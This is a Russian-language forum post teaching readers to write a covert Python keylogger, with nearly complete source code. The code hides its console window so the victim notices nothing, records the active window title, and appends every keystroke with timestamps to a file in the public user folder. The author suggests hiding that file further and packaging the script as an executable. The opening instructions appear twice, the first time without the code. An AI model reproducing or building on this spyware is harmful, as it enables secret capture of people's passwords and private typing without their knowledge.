Tartuga
Местный
- Регистрация
- 19.12.2019
- Сообщения
- 101
- Реакции
- 22
Сегодня напишем небольшой кейлоггер на пайтоне с использованием модуля Keybord [ссылка на github].
Итак первым делом необходимо скачать и установить модуль Keyboard.
Затем, если вы не пользуетесь никакими ide, презираете их и тд), то вам нужно создать отдельную папку для данного проекта и подпапку с именем modules, где нужно создать файл keyboard и сохранить его как .py... После чего можете уже открывать данный файл в вашем любимом текстовом редакторе и приступать к работе с ним.
Итак, давайте уже приступим непосредственно к делу... В самом начале как обычно прописываем импорт используемых модулей в программе и далее две строчки для скрытия консоли при работе кейлоггера, чтобы никто ничего не заподозрил) и переменная с файлом, куда будут записываться данные.
Теперь создаем следующую функцию для захвата текущего окна:
Далее создадим функцию, используя которую будем записывать данные в файл
И создадим функцию для возврата времени:
Итак, нам нужно создать все-таки основную функцию для отправки нажатий клавиш.
Логика нашей функции:
Теперь напишем функцию для подготовки сценария
Все с keeboardom закончили
Теперь создаем в главной папке проекта файл main.py:
Теперь осталось "скомпилировать" (почему в кавычках?! ну, потому что python не компилируемый яп... об этом можете почитать на различных различных ресурсах посвященным непосредственно пайтону....
Итак первым делом необходимо скачать и установить модуль Keyboard.
Затем, если вы не пользуетесь никакими ide, презираете их и тд), то вам нужно создать отдельную папку для данного проекта и подпапку с именем modules, где нужно создать файл keyboard и сохранить его как .py... После чего можете уже открывать данный файл в вашем любимом текстовом редакторе и приступать к работе с ним.
Итак, давайте уже приступим непосредственно к делу... В самом начале как обычно прописываем импорт используемых модулей в программе и далее две строчки для скрытия консоли при работе кейлоггера, чтобы никто ничего не заподозрил) и переменная с файлом, куда будут записываться данные.
import keyboard #нужен для записи нажатий клавиш
from datetime import datetime #данная функция нужна для записи времени
import ctypes #этот модуль используется дляДля взаимодействия с функциями C
kernel32 = ctypes.windll.kernel32
user32 = ctypes.windll.user32
'''Скрываем консоль'''
user32.ShowWindow(kernel32.GetConsoleWindow(), 0)
'''файл для записи'''
filename = "log.txt"
Теперь создаем следующую функцию для захвата текущего окна:
def get_current_window():
GetForegroundWindow = user32.GetForegroundWindow
GetWindowTextLength = user32.GetWindowTextLengthW
GetWindowText = user32.GetWindowTextW
hwnd = GetForegroundWindow() '''берем дескриптор окна, с которым работает пользователь'''
length = GetWindowTextLength(hwnd) '''берем длину текста в строке заголовка'''
buff = ctypes.create_unicode_buffer(length + 1)'''создаем буфер для хранения заголовка окна'''
GetWindowText(hwnd, buff, length + 1) '''получаем заголовок окна и сохраняем в буефер'''
return buff.value # возвращаем значение буфера
Далее создадим функцию, используя которую будем записывать данные в файл
def write_to(file, content):
file.write(content)
И создадим функцию для возврата времени:
def get_timestamp():
return(round(datetime.now().timestamp()))
Итак, нам нужно создать все-таки основную функцию для отправки нажатий клавиш.
Логика нашей функции:
- Эта функция сначала передает ключ, каждый ключ имеет атрибуты name, scan_codeи time.
- Когда передается ключ, сначала проверяется, находится ли пользователь в предыдущем окне, которое он использовал.
- Далее, проверяя, введены ли ключи в ту же функцию, массивы key_listи key_infoобновляются.key_info хранит имя ключа вместе с отметкой времени, в которое было записано нажатие.
- key_list сохраняет ключи, которые были введены в текущем окне.
- Затем она возвращается и ждет следующего нажатия клавиши.
- Текущая дата key_infoи key_listзаписываются в переменную с именемcontent
- Открывается файл с возможностью добавления.
- Этот файл хранится в общедоступном каталоге пользователя. Вы можете изменить это местоположение на более скрытое, если хотите, позже.
- Переменная contentи переменная, указывающая на файл, затем отправляются в функцию write_toи contentзаписываются в файл.
- Файл закрывается
- Теперь массивы и текущее окно можно безопасно сбросить
- Новая нажатая клавиша записывается в массивы
def write_key(key):
global key_info # хранит информацию текущ. клавишу
global key_list # список с именами клавиш
global prev_window # переменная для хранения последнего использованного окна
window = get_current_window()
'''если проходим проверку на использование текущего окна, то добавлет в список клавиш'''
if(window==prev_window):
'''Добавляем ключ и время в текущий список в виде строки'''
key_info.append(str(key.name) + " | " + " | " + str(round(key.time)))
'''Добавляем имя ключа в список'''
key_list.append(str(key.name))
return
'''Если вышли из текущего окна, то записываем в выходной файл'''
content = "Date - " + str(datetime.now()) + " | Timestamp - " + str(get_timestamp()) + "\nWindow - " + str(get_current_window()) + "\nKeys - \n" + str("\n".join(key_info)) + "\n" + ", ".join(key_list) + "\n"
out = open("c:/users/public/" + str(filename), "a")
write_to(out, content)
out.close()
key_info = [] #Сбрасывем массивы
key_list = []
prev_window = window #Переназначем переменную с текщем окном
key_info.append(str(key.name) + " | " + str(key.scan_code) + " | " + str(round(key.time))) #Обновлем списки
key_list.append(str(key.name))
Теперь напишем функцию для подготовки сценария
def prepare():
global key_info
global key_list
global prev_window
key_info = []
key_list = []
prev_window = str()
'''При нажатии клавиши вызывается функция write_key'''
keyboard.on_press(write_key)
'''Прописываем, чтобы сценарий не был преждевременно прерван'''
keyboard.wait()
Все с keeboardom закончили
Теперь создаем в главной папке проекта файл main.py:
from modules import keyboard #Импортируем только что написанный файл
if __name__ == '__main__':
keyboard.filename = "log.txt" #это имя файла, куда все будет записываться
keyboard.prepare() #и вызываем функцию подготовки
Теперь осталось "скомпилировать" (почему в кавычках?! ну, потому что python не компилируемый яп... об этом можете почитать на различных различных ресурсах посвященным непосредственно пайтону....